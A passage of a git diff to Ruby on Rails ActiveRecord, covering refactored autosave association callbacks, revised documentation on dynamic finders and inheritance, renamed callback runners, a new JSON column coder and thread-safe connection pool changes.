# Note that <tt>autosave: false</tt> is not same as not declaring <tt>:autosave</tt>.
- # When the <tt>:autosave</tt> option is not present new associations are saved.
+ # When the <tt>:autosave</tt> option is not present then new association records are
+ # saved but the updated association records are not saved.
#
# == Validation
#
@@ -34,7 +35,7 @@ module ActiveRecord
#
# === One-to-one Example
#
- # class Post
+ # class Post < ActiveRecord::Base
# has_one :author, autosave: true
# end
#
@@ -62,20 +63,20 @@ module ActiveRecord
# Note that the model is _not_ yet removed from the database:
#
# id = post.author.id
- # Author.find_by_id(id).nil? # => false
+ # Author.find_by(id: id).nil? # => false
#
# post.save
# post.reload.author # => nil
#
# Now it _is_ removed from the database:
#
- # Author.find_by_id(id).nil? # => true
+ # Author.find_by(id: id).nil? # => true
#
# === One-to-many Example
#
# When <tt>:autosave</tt> is not declared new children are saved when their parent is saved:
#
- # class Post
+ # class Post < ActiveRecord::Base
# has_many :comments # :autosave option is not declared
# end
#
@@ -94,97 +95,100 @@ module ActiveRecord
# When <tt>:autosave</tt> is true all children are saved, no matter whether they
# are new records or not:
#
- # class Post
+ # class Post < ActiveRecord::Base
# has_many :comments, autosave: true
# end
#
# post = Post.create(title: 'ruby rocks')
# post.comments.create(body: 'hello world')
# post.comments[0].body = 'hi everyone'
- # post.save # => saves both post and comment, with 'hi everyone' as body
+ # post.comments.build(body: "good morning.")
+ # post.title += "!"
+ # post.save # => saves both post and comments.
#
# Destroying one of the associated models as part of the parent's save action
# is as simple as marking it for destruction:
#
- # post.comments.last.mark_for_destruction
- # post.comments.last.marked_for_destruction? # => true
+ # post.comments # => [#<Comment id: 1, ...>, #<Comment id: 2, ...]>
+ # post.comments[1].mark_for_destruction
+ # post.comments[1].marked_for_destruction? # => true
# post.comments.length # => 2
#
# Note that the model is _not_ yet removed from the database:
#
# id = post.comments.last.id
- # Comment.find_by_id(id).nil? # => false
+ # Comment.find_by(id: id).nil? # => false
#
# post.save
# post.reload.comments.length # => 1
#
# Now it _is_ removed from the database:
#
- # Comment.find_by_id(id).nil? # => true
+ # Comment.find_by(id: id).nil? # => true
module AutosaveAssociation
extend ActiveSupport::Concern
module AssociationBuilderExtension #:nodoc:
- def build
+ def self.build(model, reflection)
model.send(:add_autosave_association_callbacks, reflection)
- super
+ end
+
+ def self.valid_options
+ [ :autosave ]
end
end
included do
- Associations::Builder::Association.class_eval do
- self.valid_options << :autosave
- include AssociationBuilderExtension
- end
+ Associations::Builder::Association.extensions << AssociationBuilderExtension
end
module ClassMethods
private
- def define_non_cyclic_method(name, reflection, &block)
- define_method(name) do |*args|
- result = true; @_already_called ||= {}
- # Loop prevention for validation of associations
- unless @_already_called[[name, reflection.name]]
- begin
- @_already_called[[name, reflection.name]]=true
- result = instance_eval(&block)
- ensure
- @_already_called[[name, reflection.name]]=false
+ def define_non_cyclic_method(name, &block)
+ return if method_defined?(name)
+ define_method(name) do |*args|
+ result = true; @_already_called ||= {}
+ # Loop prevention for validation of associations
+ unless @_already_called[name]
+ begin
+ @_already_called[name]=true
+ result = instance_eval(&block)
+ ensure
+ @_already_called[name]=false
+ end
end
- end
- result
+ result
+ end
end
- end
- # Adds validation and save callbacks for the association as specified by
- # the +reflection+.
- #
- # For performance reasons, we don't check whether to validate at runtime.
- # However the validation and callback methods are lazy and those methods
- # get created when they are invoked for the very first time. However,
- # this can change, for instance, when using nested attributes, which is
- # called _after_ the association has been defined. Since we don't want
- # the callbacks to get defined multiple times, there are guards that
- # check if the save or validation methods have already been defined
- # before actually defining them.
- def add_autosave_association_callbacks(reflection)
- save_method = :"autosave_associated_records_for_#{reflection.name}"
- validation_method = :"validate_associated_records_for_#{reflection.name}"
- collection = reflection.collection?
-
- unless method_defined?(save_method)
+ # Adds validation and save callbacks for the association as specified by
+ # the +reflection+.
+ #
+ # For performance reasons, we don't check whether to validate at runtime.
+ # However the validation and callback methods are lazy and those methods
+ # get created when they are invoked for the very first time. However,
+ # this can change, for instance, when using nested attributes, which is
+ # called _after_ the association has been defined. Since we don't want
+ # the callbacks to get defined multiple times, there are guards that
+ # check if the save or validation methods have already been defined
+ # before actually defining them.
+ def add_autosave_association_callbacks(reflection)
+ save_method = :"autosave_associated_records_for_#{reflection.name}"
+ validation_method = :"validate_associated_records_for_#{reflection.name}"
+ collection = reflection.collection?
+
if collection
before_save :before_save_collection_association
- define_non_cyclic_method(save_method, reflection) { save_collection_association(reflection) }
+ define_non_cyclic_method(save_method) { save_collection_association(reflection) }
# Doesn't use after_save as that would save associations added in after_create/after_update twice
after_create save_method
after_update save_method
- elsif reflection.macro == :has_one
- define_method(save_method) { save_has_one_association(reflection) }
+ elsif reflection.has_one?
+ define_method(save_method) { save_has_one_association(reflection) } unless method_defined?(save_method)
# Configures two callbacks instead of a single after_save so that
# the model may rely on their execution order relative to its
# own callbacks.
@@ -196,22 +200,22 @@ module ActiveRecord
after_create save_method
after_update save_method
else
- define_non_cyclic_method(save_method, reflection) { save_belongs_to_association(reflection) }
+ define_non_cyclic_method(save_method) { save_belongs_to_association(reflection) }
before_save save_method
end
- end
- if reflection.validate? && !method_defined?(validation_method)
- method = (collection ? :validate_collection_association : :validate_single_association)
- define_non_cyclic_method(validation_method, reflection) { send(method, reflection) }
- validate validation_method
+ if reflection.validate? && !method_defined?(validation_method)
+ method = (collection ? :validate_collection_association : :validate_single_association)
+ define_non_cyclic_method(validation_method) { send(method, reflection) }
+ validate validation_method
+ end
end
- end
end
# Reloads the attributes of the object as usual and clears <tt>marked_for_destruction</tt> flag.
def reload(options = nil)
@marked_for_destruction = false
+ @destroyed_by_association = nil
super
end
@@ -231,6 +235,19 @@ module ActiveRecord
@marked_for_destruction
end
+ # Records the association that is being destroyed and destroying this
+ # record in the process.
+ def destroyed_by_association=(reflection)
+ @destroyed_by_association = reflection
+ end
+
+ # Returns the association for the parent being destroyed.
+ #
+ # Used to avoid updating the counter cache unnecessarily.
+ def destroyed_by_association
+ @destroyed_by_association
+ end
+
# Returns whether or not this record has been changed in any way (including whether
# any of its nested autosave associations are likewise changed)
def changed_for_autosave?
@@ -239,173 +256,184 @@ module ActiveRecord
private
- # Returns the record for an association collection that should be validated
- # or saved. If +autosave+ is +false+ only new records will be returned,
- # unless the parent is/was a new record itself.
- def associated_records_to_validate_or_save(association, new_record, autosave)
- if new_record
- association && association.target
- elsif autosave
- association.target.find_all { |record| record.changed_for_autosave? }
- else
- association.target.find_all { |record| record.new_record? }
+ # Returns the record for an association collection that should be validated
+ # or saved. If +autosave+ is +false+ only new records will be returned,
+ # unless the parent is/was a new record itself.
+ def associated_records_to_validate_or_save(association, new_record, autosave)
+ if new_record
+ association && association.target
+ elsif autosave
+ association.target.find_all(&:changed_for_autosave?)
+ else
+ association.target.find_all(&:new_record?)
+ end
end
- end
- # go through nested autosave associations that are loaded in memory (without loading
- # any new ones), and return true if is changed for autosave
- def nested_records_changed_for_autosave?
- self.class.reflect_on_all_autosave_associations.any? do |reflection|
- association = association_instance_get(reflection.name)
- association && Array.wrap(association.target).any? { |a| a.changed_for_autosave? }
+ # go through nested autosave associations that are loaded in memory (without loading
+ # any new ones), and return true if is changed for autosave
+ def nested_records_changed_for_autosave?
+ self.class._reflections.values.any? do |reflection|
+ if reflection.options[:autosave]
+ association = association_instance_get(reflection.name)
+ association && Array.wrap(association.target).any?(&:changed_for_autosave?)
+ end
+ end
end
- end
- # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
- # turned on for the association.
- def validate_single_association(reflection)
- association = association_instance_get(reflection.name)
- record = association && association.reader
- association_valid?(reflection, record) if record
- end
+ # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
+ # turned on for the association.
+ def validate_single_association(reflection)
+ association = association_instance_get(reflection.name)
+ record = association && association.reader
+ association_valid?(reflection, record) if record
+ end
- # Validate the associated records if <tt>:validate</tt> or
- # <tt>:autosave</tt> is turned on for the association specified by
- # +reflection+.
- def validate_collection_association(reflection)
- if association = association_instance_get(reflection.name)
- if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
- records.each { |record| association_valid?(reflection, record) }
+ # Validate the associated records if <tt>:validate</tt> or
+ # <tt>:autosave</tt> is turned on for the association specified by
+ # +reflection+.
+ def validate_collection_association(reflection)
+ if association = association_instance_get(reflection.name)
+ if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
+ records.each { |record| association_valid?(reflection, record) }
+ end
end
end
- end
- # Returns whether or not the association is valid and applies any errors to
- # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
- # enabled records if they're marked_for_destruction? or destroyed.
- def association_valid?(reflection, record)
- return true if record.destroyed? || record.marked_for_destruction?
-
- unless valid = record.valid?(validation_context)
- if reflection.options[:autosave]
- record.errors.each do |attribute, message|
- attribute = "#{reflection.name}.#{attribute}"
- errors[attribute] << message
- errors[attribute].uniq!
+ # Returns whether or not the association is valid and applies any errors to
+ # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
+ # enabled records if they're marked_for_destruction? or destroyed.
+ def association_valid?(reflection, record)
+ return true if record.destroyed? || record.marked_for_destruction?
+
+ validation_context = self.validation_context unless [:create, :update].include?(self.validation_context)
+ unless valid = record.valid?(validation_context)
+ if reflection.options[:autosave]
+ record.errors.each do |attribute, message|
+ attribute = "#{reflection.name}.#{attribute}"
+ errors[attribute] << message
+ errors[attribute].uniq!
+ end
+ else
+ errors.add(reflection.name)
end
- else
- errors.add(reflection.name)
end
+ valid
end
- valid
- end
- # Is used as a before_save callback to check while saving a collection
- # association whether or not the parent was a new record before saving.
- def before_save_collection_association
- @new_record_before_save = new_record?
- true
- end
+ # Is used as a before_save callback to check while saving a collection
+ # association whether or not the parent was a new record before saving.
+ def before_save_collection_association
+ @new_record_before_save = new_record?
+ true
+ end
- # Saves any new associated records, or all loaded autosave associations if
- # <tt>:autosave</tt> is enabled on the association.
- #
- # In addition, it destroys all children that were marked for destruction
- # with mark_for_destruction.
- #
- # This all happens inside a transaction, _if_ the Transactions module is included into
- # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
- def save_collection_association(reflection)
- if association = association_instance_get(reflection.name)
- autosave = reflection.options[:autosave]
-
- if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
- records_to_destroy = []
- records.each do |record|
- next if record.destroyed?
-
- saved = true
-
- if autosave && record.marked_for_destruction?
- records_to_destroy << record
- elsif autosave != false && (@new_record_before_save || record.new_record?)
- if autosave
- saved = association.insert_record(record, false)
- else
- association.insert_record(record) unless reflection.nested?
- end
- elsif autosave
- saved = record.save(:validate => false)
+ # Saves any new associated records, or all loaded autosave associations if
+ # <tt>:autosave</tt> is enabled on the association.
+ #
+ # In addition, it destroys all children that were marked for destruction
+ # with mark_for_destruction.
+ #
+ # This all happens inside a transaction, _if_ the Transactions module is included into
+ # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+ def save_collection_association(reflection)
+ if association = association_instance_get(reflection.name)
+ autosave = reflection.options[:autosave]
+
+ if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
+ if autosave
+ records_to_destroy = records.select(&:marked_for_destruction?)
+ records_to_destroy.each { |record| association.destroy(record) }
+ records -= records_to_destroy
end
- raise ActiveRecord::Rollback unless saved
- end
+ records.each do |record|
+ next if record.destroyed?
+
+ saved = true
+
+ if autosave != false && (@new_record_before_save || record.new_record?)
+ if autosave
+ saved = association.insert_record(record, false)
+ else
+ association.insert_record(record) unless reflection.nested?
+ end
+ elsif autosave
+ saved = record.save(:validate => false)
+ end
- records_to_destroy.each do |record|
- association.destroy(record)
+ raise ActiveRecord::Rollback unless saved
+ end
end
- end
- # reconstruct the scope now that we know the owner's id
- association.send(:reset_scope) if association.respond_to?(:reset_scope)
+ # reconstruct the scope now that we know the owner's id
+ association.reset_scope if association.respond_to?(:reset_scope)
+ end
end
- end
- # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
- # on the association.
- #
- # In addition, it will destroy the association if it was marked for
- # destruction with mark_for_destruction.
- #
- # This all happens inside a transaction, _if_ the Transactions module is included into
- # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
- def save_has_one_association(reflection)
- association = association_instance_get(reflection.name)
- record = association && association.load_target
- if record && !record.destroyed?
- autosave = reflection.options[:autosave]
-
- if autosave && record.marked_for_destruction?
- record.destroy
- else
- key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
- if autosave != false && (new_record? || record.new_record? || record[reflection.foreign_key] != key || autosave)
- unless reflection.through_reflection
- record[reflection.foreign_key] = key
- end
+ # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
+ # on the association.
+ #
+ # In addition, it will destroy the association if it was marked for
+ # destruction with mark_for_destruction.
+ #
+ # This all happens inside a transaction, _if_ the Transactions module is included into
+ # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+ def save_has_one_association(reflection)
+ association = association_instance_get(reflection.name)
+ record = association && association.load_target
+
+ if record && !record.destroyed?
+ autosave = reflection.options[:autosave]
- saved = record.save(:validate => !autosave)
- raise ActiveRecord::Rollback if !saved && autosave
- saved
+ if autosave && record.marked_for_destruction?
+ record.destroy
+ elsif autosave != false
+ key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
+
+ if (autosave && record.changed_for_autosave?) || new_record? || record_changed?(reflection, record, key)
+ unless reflection.through_reflection
+ record[reflection.foreign_key] = key
+ end
+
+ saved = record.save(:validate => !autosave)
+ raise ActiveRecord::Rollback if !saved && autosave
+ saved
+ end
end
end
end
- end
- # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
- #
- # In addition, it will destroy the association if it was marked for destruction.
- def save_belongs_to_association(reflection)
- association = association_instance_get(reflection.name)
- record = association && association.load_target
- if record && !record.destroyed?
- autosave = reflection.options[:autosave]
-
- if autosave && record.marked_for_destruction?
- self[reflection.foreign_key] = nil
- record.destroy
- elsif autosave != false
- saved = record.save(:validate => !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
-
- if association.updated?
- association_id = record.send(reflection.options[:primary_key] || :id)
- self[reflection.foreign_key] = association_id
- association.loaded!
- end
+ # If the record is new or it has changed, returns true.
+ def record_changed?(reflection, record, key)
+ record.new_record? ||
+ (record.has_attribute?(reflection.foreign_key) && record[reflection.foreign_key] != key) ||
+ record.attribute_changed?(reflection.foreign_key)
+ end
+
+ # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
+ #
+ # In addition, it will destroy the association if it was marked for destruction.
+ def save_belongs_to_association(reflection)
+ association = association_instance_get(reflection.name)
+ record = association && association.load_target
+ if record && !record.destroyed?
+ autosave = reflection.options[:autosave]
+
+ if autosave && record.marked_for_destruction?
+ self[reflection.foreign_key] = nil
+ record.destroy
+ elsif autosave != false
+ saved = record.save(:validate => !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
+
+ if association.updated?
+ association_id = record.send(reflection.options[:primary_key] || :id)
+ self[reflection.foreign_key] = association_id
+ association.loaded!
+ end
- saved if autosave
+ saved if autosave
+ end
end
end
- end
end
end
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index aab832c2f7..f978fbd0a4 100644
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -4,20 +4,24 @@ require 'active_support/benchmarkable'
require 'active_support/dependencies'
require 'active_support/descendants_tracker'
require 'active_support/time'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/class/delegating_attributes'
require 'active_support/core_ext/array/extract_options'
require 'active_support/core_ext/hash/deep_merge'
require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/hash/transform_values'
require 'active_support/core_ext/string/behavior'
require 'active_support/core_ext/kernel/singleton_class'
require 'active_support/core_ext/module/introspection'
require 'active_support/core_ext/object/duplicable'
require 'active_support/core_ext/class/subclasses'
require 'arel'
+require 'active_record/attribute_decorators'
require 'active_record/errors'
require 'active_record/log_subscriber'
require 'active_record/explain_subscriber'
+require 'active_record/relation/delegation'
+require 'active_record/attributes'
module ActiveRecord #:nodoc:
# = Active Record
@@ -137,6 +141,7 @@ module ActiveRecord #:nodoc:
#
# In addition to the basic accessors, query methods are also automatically available on the Active Record object.
# Query methods allow you to test whether an attribute value is present.
+ # For numeric values, present is defined as non-zero.
#
# For example, an Active Record User with the <tt>name</tt> attribute has a <tt>name?</tt> method that you can call
# to determine whether the user has a name:
@@ -160,14 +165,11 @@ module ActiveRecord #:nodoc:
#
# == Dynamic attribute-based finders
#
- # Dynamic attribute-based finders are a cleaner way of getting (and/or creating) objects
+ # Dynamic attribute-based finders are a mildly deprecated way of getting (and/or creating) objects
# by simple queries without turning to SQL. They work by appending the name of an attribute
- # to <tt>find_by_</tt>, <tt>find_last_by_</tt>, or <tt>find_all_by_</tt> and thus produces finders
- # like <tt>Person.find_by_user_name</tt>, <tt>Person.find_all_by_last_name</tt>, and
- # <tt>Payment.find_by_transaction_id</tt>. Instead of writing
- # <tt>Person.where(user_name: user_name).first</tt>, you just do <tt>Person.find_by_user_name(user_name)</tt>.
- # And instead of writing <tt>Person.where(last_name: last_name).all</tt>, you just do
- # <tt>Person.find_all_by_last_name(last_name)</tt>.
+ # to <tt>find_by_</tt> like <tt>Person.find_by_user_name</tt>.
+ # Instead of writing <tt>Person.find_by(user_name: user_name)</tt>, you can use
+ # <tt>Person.find_by_user_name(user_name)</tt>.
#
# It's possible to add an exclamation point (!) on the end of the dynamic finders to get them to raise an
# <tt>ActiveRecord::RecordNotFound</tt> error if they do not return any records,
@@ -175,51 +177,12 @@ module ActiveRecord #:nodoc:
#
# It's also possible to use multiple attributes in the same find by separating them with "_and_".
#
- # Person.where(user_name: user_name, password: password).first
+ # Person.find_by(user_name: user_name, password: password)
# Person.find_by_user_name_and_password(user_name, password) # with dynamic finder
#
# It's even possible to call these dynamic finder methods on relations and named scopes.
#
- # Payment.order("created_on").find_all_by_amount(50)
- # Payment.pending.find_last_by_amount(100)
- #
- # The same dynamic finder style can be used to create the object if it doesn't already exist.
- # This dynamic finder is called with <tt>find_or_create_by_</tt> and will return the object if
- # it already exists and otherwise creates it, then returns it. Protected attributes won't be set
- # unless they are given in a block.
- #
- # # No 'Summer' tag exists
- # Tag.find_or_create_by_name("Summer") # equal to Tag.create(name: "Summer")
- #
- # # Now the 'Summer' tag does exist
- # Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
- #
- # # Now 'Bob' exist and is an 'admin'
- # User.find_or_create_by_name('Bob', age: 40) { |u| u.admin = true }
- #
- # Adding an exclamation point (!) on to the end of <tt>find_or_create_by_</tt> will
- # raise an <tt>ActiveRecord::RecordInvalid</tt> error if the new record is invalid.
- #
- # Use the <tt>find_or_initialize_by_</tt> finder if you want to return a new record without
- # saving it first. Protected attributes won't be set unless they are given in a block.
- #
- # # No 'Winter' tag exists
- # winter = Tag.find_or_initialize_by_name("Winter")
- # winter.persisted? # false
- #
- # To find by a subset of the attributes to be used for instantiating a new object, pass a hash instead of
- # a list of parameters.
- #
- # Tag.find_or_create_by_name(name: "rails", creator: current_user)
- #
- # That will either find an existing tag named "rails", or create a new one while setting the
- # user that created it.
- #
- # Just like <tt>find_by_*</tt>, you can also use <tt>scoped_by_*</tt> to retrieve data. The good thing about
- # using this feature is that the very first time result is returned using <tt>method_missing</tt> technique
- # but after that the method is declared on the class. Henceforth <tt>method_missing</tt> will not be hit.
- #
- # User.scoped_by_user_name('David')
+ # Payment.order("created_on").find_by_amount(50)
#
# == Saving arrays, hashes, and other non-mappable objects in text columns
#
@@ -258,25 +221,9 @@ module ActiveRecord #:nodoc:
#
# == Single table inheritance
#
- # Active Record allows inheritance by storing the name of the class in a column that by
- # default is named "type" (can be changed by overwriting <tt>Base.inheritance_column</tt>).
- # This means that an inheritance looking like this:
- #
- # class Company < ActiveRecord::Base; end
- # class Firm < Company; end
- # class Client < Company; end
- # class PriorityClient < Client; end
- #
- # When you do <tt>Firm.create(name: "37signals")</tt>, this record will be saved in
- # the companies table with type = "Firm". You can then fetch this row again using
- # <tt>Company.where(name: '37signals').first</tt> and it will return a Firm object.
- #
- # If you don't have a type column defined in your table, single-table inheritance won't
- # be triggered. In that case, it'll work just like normal subclasses with no special magic
- # for differentiating between them or reloading the right type with find.
- #
- # Note, all the attributes for all the cases are kept in the same table. Read more:
- # http://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
+ # Active Record allows inheritance by storing the name of the class in a
+ # column that is named "type" by default. See ActiveRecord::Inheritance for
+ # more details.
#
# == Connection to multiple databases in different models
#
@@ -332,7 +279,10 @@ module ActiveRecord #:nodoc:
extend Translation
extend DynamicMatchers
extend Explain
+ extend Enum
+ extend Delegation::DelegateCache
+ include Core
include Persistence
include ReadonlyAttributes
include ModelSchema
@@ -344,6 +294,8 @@ module ActiveRecord #:nodoc:
include Integration
include Validations
include CounterCache
+ include Attributes
+ include AttributeDecorators
include Locking::Optimistic
include Locking::Pessimistic
include AttributeMethods
@@ -355,10 +307,10 @@ module ActiveRecord #:nodoc:
include NestedAttributes
include Aggregations
include Transactions
+ include NoTouching
include Reflection
include Serialization
include Store
- include Core
end
ActiveSupport.run_load_hooks(:active_record, Base)
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index 1c9c627090..523d492a48 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -23,11 +23,14 @@ module ActiveRecord
# Check out <tt>ActiveRecord::Transactions</tt> for more details about <tt>after_commit</tt> and
# <tt>after_rollback</tt>.
#
+ # Additionally, an <tt>after_touch</tt> callback is triggered whenever an
+ # object is touched.
+ #
# Lastly an <tt>after_find</tt> and <tt>after_initialize</tt> callback is triggered for each object that
# is found and instantiated by a finder, with <tt>after_initialize</tt> being triggered after new objects
# are instantiated as well.
#
- # That's a total of twelve callbacks, which gives you immense power to react and prepare for each state in the
+ # There are nineteen callbacks in total, which give you immense power to react and prepare for each state in the
# Active Record life cycle. The sequence for calling <tt>Base#save</tt> for an existing record is similar,
# except that each <tt>_create</tt> callback is replaced by the corresponding <tt>_update</tt> callback.
#
@@ -83,7 +86,7 @@ module ActiveRecord
#
# In that case, <tt>Reply#destroy</tt> would only run +destroy_readers+ and _not_ +destroy_author+.
# So, use the callback macros when you want to ensure that a certain callback is called for the entire
- # hierarchy, and use the regular overwriteable methods when you want to leave it up to each descendant
+ # hierarchy, and use the regular overwritable methods when you want to leave it up to each descendant
# to decide whether they want to call +super+ and trigger the inherited callbacks.
#
# *IMPORTANT:* In order for inheritance to work for the callback queues, you must specify the
@@ -125,7 +128,7 @@ module ActiveRecord
# record.credit_card_number = decrypt(record.credit_card_number)
# end
#
- # alias_method :after_find, :after_save
+ # alias_method :after_initialize, :after_save
#
# private
# def encrypt(value)
@@ -160,7 +163,7 @@ module ActiveRecord
# record.send("#{@attribute}=", decrypt(record.send("#{@attribute}")))
# end
#
- # alias_method :after_find, :after_save
+ # alias_method :after_initialize, :after_save
#
# private
# def encrypt(value)
@@ -286,25 +289,25 @@ module ActiveRecord
end
def destroy #:nodoc:
- run_callbacks(:destroy) { super }
+ _run_destroy_callbacks { super }
end
def touch(*) #:nodoc:
- run_callbacks(:touch) { super }
+ _run_touch_callbacks { super }
end
private
def create_or_update #:nodoc:
- run_callbacks(:save) { super }
+ _run_save_callbacks { super }
end
- def create #:nodoc:
- run_callbacks(:create) { super }
+ def _create_record #:nodoc:
+ _run_create_callbacks { super }
end
- def update(*) #:nodoc:
- run_callbacks(:update) { super }
+ def _update_record(*) #:nodoc:
+ _run_update_callbacks { super }
end
end
end
diff --git a/activerecord/lib/active_record/coders/json.rb b/activerecord/lib/active_record/coders/json.rb
new file mode 100644
index 0000000000..75d3bfe625
--- /dev/null
+++ b/activerecord/lib/active_record/coders/json.rb
@@ -0,0 +1,13 @@
+module ActiveRecord
+ module Coders # :nodoc:
+ class JSON # :nodoc:
+ def self.dump(obj)
+ ActiveSupport::JSON.encode(obj)
+ end
+
+ def self.load(json)
+ ActiveSupport::JSON.decode(json) unless json.nil?
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/coders/yaml_column.rb b/activerecord/lib/active_record/coders/yaml_column.rb
index f6cdc67b4d..d3d7396c91 100644
--- a/activerecord/lib/active_record/coders/yaml_column.rb
+++ b/activerecord/lib/active_record/coders/yaml_column.rb
@@ -3,7 +3,6 @@ require 'yaml'
module ActiveRecord
module Coders # :nodoc:
class YAMLColumn # :nodoc:
- RESCUE_ERRORS = [ ArgumentError, Psych::SyntaxError ]
attr_accessor :object_class
@@ -24,19 +23,15 @@ module ActiveRecord
def load(yaml)
return object_class.new if object_class != Object && yaml.nil?
return yaml unless yaml.is_a?(String) && yaml =~ /^---/
- begin
- obj = YAML.load(yaml)
-
- unless obj.is_a?(object_class) || obj.nil?
- raise SerializationTypeMismatch,
- "Attribute was supposed to be a #{object_class}, but was a #{obj.class}"
- end
- obj ||= object_class.new if object_class != Object
-
- obj
- rescue *RESCUE_ERRORS
- yaml
+ obj = YAML.load(yaml)
+
+ unless obj.is_a?(object_class) || obj.nil?
+ raise SerializationTypeMismatch,
+ "Attribute was supposed to be a #{object_class}, but was a #{obj.class}"
end
+ obj ||= object_class.new if object_class != Object
+
+ obj
end
end
end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
index b5a8011ca4..3a9db4a109 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb
@@ -1,7 +1,8 @@
require 'thread'
+require 'thread_safe'
require 'monitor'
require 'set'
-require 'active_support/deprecation'
+require 'active_support/core_ext/string/filters'
module ActiveRecord
# Raised when a connection could not be obtained within the connection
@@ -58,13 +59,11 @@ module ActiveRecord
# * +checkout_timeout+: number of seconds to block and wait for a connection
# before giving up and raising a timeout error (default 5 seconds).
# * +reaping_frequency+: frequency in seconds to periodically run the
- # Reaper, which attempts to find and close dead connections, which can
- # occur if a programmer forgets to close a connection at the end of a
- # thread or a thread dies unexpectedly. (Default nil, which means don't
- # run the Reaper).
- # * +dead_connection_timeout+: number of seconds from last checkout
- # after which the Reaper will consider a connection reapable. (default
- # 5 seconds).
+ # Reaper, which attempts to find and recover connections from dead
+ # threads, which can occur if a programmer forgets to close a
+ # connection at the end of a thread or a thread dies unexpectedly.
+ # Regardless of this setting, the Reaper will be invoked before every
+ # blocking wait. (Default nil, which means don't schedule the Reaper).
class ConnectionPool
# Threadsafe, fair, FIFO queue. Meant to be used by ConnectionPool
# with which it shares a Monitor. But could be a generic Queue.
@@ -86,7 +85,7 @@ module ActiveRecord
end
end
- # Return the number of threads currently waiting on this
+ # Returns the number of threads currently waiting on this
# queue.
def num_waiting
synchronize do
@@ -222,7 +221,7 @@ module ActiveRecord
include MonitorMixin
- attr_accessor :automatic_reconnect, :checkout_timeout, :dead_connection_timeout
+ attr_accessor :automatic_reconnect, :checkout_timeout
attr_reader :spec, :connections, :size, :reaper
# Creates a new ConnectionPool object. +spec+ is a ConnectionSpecification
@@ -236,38 +235,31 @@ module ActiveRecord
@spec = spec
- # The cache of reserved connections mapped to threads
- @reserved_connections = {}
-
- @checkout_timeout = spec.config[:checkout_timeout] || 5
- @dead_connection_timeout = spec.config[:dead_connection_timeout]
+ @checkout_timeout = (spec.config[:checkout_timeout] && spec.config[:checkout_timeout].to_f) || 5
@reaper = Reaper.new self, spec.config[:reaping_frequency]
@reaper.run
# default max pool size to 5
@size = (spec.config[:pool] && spec.config[:pool].to_i) || 5
+ # The cache of reserved connections mapped to threads
+ @reserved_connections = ThreadSafe::Cache.new(:initial_capacity => @size)
+
@connections = []
@automatic_reconnect = true
@available = Queue.new self
end
- # Hack for tests to be able to add connections. Do not call outside of tests
- def insert_connection_for_test!(c) #:nodoc:
- synchronize do
- @connections << c
- @available.add c
- end
- end
-
# Retrieve the connection associated with the current thread, or call
# #checkout to obtain one if necessary.
#
# #connection can be called any number of times; the connection is
# held in a hash keyed by the thread id.
def connection
- synchronize do
+ # this is correctly done double-checked locking
+ # (ThreadSafe::Cache's lookups have volatile semantics)
+ @reserved_connections[current_connection_id] || synchronize do
@reserved_connections[current_connection_id] ||= checkout
end
end
@@ -310,7 +302,7 @@ module ActiveRecord
# Disconnects all connections in the pool, and clears the pool.
def disconnect!
synchronize do
- @reserved_connections = {}
+ @reserved_connections.clear
@connections.each do |conn|
checkin conn
conn.disconnect!
@@ -323,14 +315,12 @@ module ActiveRecord
# Clears the cache which maps classes.
def clear_reloadable_connections!
synchronize do
- @reserved_connections = {}
+ @reserved_connections.clear
@connections.each do |conn|
checkin conn
conn.disconnect! if conn.requires_reloading?
end
- @connections.delete_if do |conn|
- conn.requires_reloading?
- end
+ @connections.delete_if(&:requires_reloading?)
@available.clear
@connections.each do |conn|
@available.add conn
@@ -338,11 +328,6 @@ module ActiveRecord
end
end
- def clear_stale_cached_connections! # :nodoc:
- reap
- end
- deprecate :clear_stale_cached_connections! => "Please use #reap instead"
-
# Check-out a database connection from the pool, indicating that you want
# to use it. You should call #checkin when you no longer need this.
#
@@ -372,11 +357,13 @@ module ActiveRecord
# calling +checkout+ on this pool.
def checkin(conn)
synchronize do
- conn.run_callbacks :checkin do
+ owner = conn.owner
+
+ conn._run_checkin_callbacks do
conn.expire
end
- release conn
+ release owner
@available.add conn
end
@@ -389,22 +376,30 @@ module ActiveRecord
@connections.delete conn
@available.delete conn
- # FIXME: we might want to store the key on the connection so that removing
- # from the reserved hash will be a little easier.
- release conn
+ release conn.owner
@available.add checkout_new_connection if @available.any_waiting?
end
end
